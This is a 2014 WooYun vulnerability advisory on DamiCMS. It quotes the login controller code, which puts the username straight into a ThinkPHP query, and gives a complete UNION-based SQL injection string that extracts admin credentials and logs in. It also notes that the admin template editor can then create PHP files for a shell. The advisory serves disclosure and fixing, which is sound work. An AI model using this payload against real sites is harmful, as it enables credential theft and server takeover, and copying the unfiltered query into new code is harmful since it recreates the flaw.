当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081387

漏洞标题:大米CMS注入后台可以getshelll

相关厂商:damicms.com

漏洞作者: wilson

提交时间:2014-10-30 18:31

修复时间:2015-01-28 18:32

公开时间:2015-01-28 18:32

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-30: 细节已通知厂商并且等待厂商处理中
2014-10-30: 厂商已经确认,细节仅向厂商公开
2014-11-02: 细节向第三方安全合作伙伴开放
2014-12-24: 细节向核心白帽子及相关领域专家公开
2015-01-03: 细节向普通白帽子公开
2015-01-13: 细节向实习白帽子公开
2015-01-28: 细节向公众公开

简要描述:

大米CMS注入,后台可以getshelll

详细说明:

一)注入
1.挖洞前奏
Damicms搭建在本地以后,对cms\dami\Core\Lib\Think\Db\Db.class.php进行修改,将sq语句var_dump处理。
然后就进行黑盒测试。搜索点,以及admin登入点输入单引号就会给过滤了。。。
看到有注册功能,发现登入点居然没有过滤单引号。。。

图片3.png


这运气比较好了
2.漏洞原理
于是苦逼看代码,发现thinkphp 看不懂 - -
去学习了一下回来了。。。。
发现登入点在: dami\Web\Lib\Action\MemberAction.class.php
这控制器里面
发现问题代码:
$username = htmlspecialchars($_REQUEST['username']);
$userpwd = $_REQUEST['userpwd'];
if($username=='' || $userpwd==''){$this->error('请输入用户名和密码?');exit();}
$info = M('member')->where("username='{$username}' and is_lock=0")->find();
if(!$info){$this->error('用户不存在或已经禁止登陆!');}
else
{
if($info['userpwd'] != md5($userpwd)){
$this->error('密码错误,请重新登录!');
}else{
$_SESSION['dami_uid'] = $info['id'];
$_SESSION['dami_username'] = $info['username'];
if(!empty($_REQUEST['lasturl'])){
$this->assign('jumpUrl',urldecode(htmlspecialchars($_REQUEST['lasturl'])));
}
else{
$this->assign('jumpUrl',U('Member/main'));
}
$this->success('登录成功~');
}
}
发现username没有过滤就放进去了......我想为什么thinkphp不过滤呢?测试其它的点都够了了。最后发现了。

图片4.png


Thinkphp的where查看如果只对字符型的,他是不会过滤的 = =......他过滤数组进去的和对象进去的对象。。。。。。。。。
程序员过分信赖thinkphp的过滤,导致漏洞发生......
也就是登入时候用户名:-1' union select 1,(select concat(id,0x23,username,0x23,password) from dami_admin),'c4ca4238a0b923820dcc509a6f75849b',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
密码是1
登入进去看见用户名就是注入出的东西了。

图片5.png


4.后台编辑文件直接生成php
模板管理 编辑文件 可以直接生成php文件

图片2.png


漏洞证明:

修复方案:

对用户名继续过滤....

版权声明:转载请注明来源 wilson@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-10-30 22:16

厂商回复:

过滤不严可能造成注入风险,但用作者的用户始终是登陆不成功的在版本3.8中测试,不过仍然感谢细心的发现,将对用户名进行严格注入过滤

最新状态:

暂无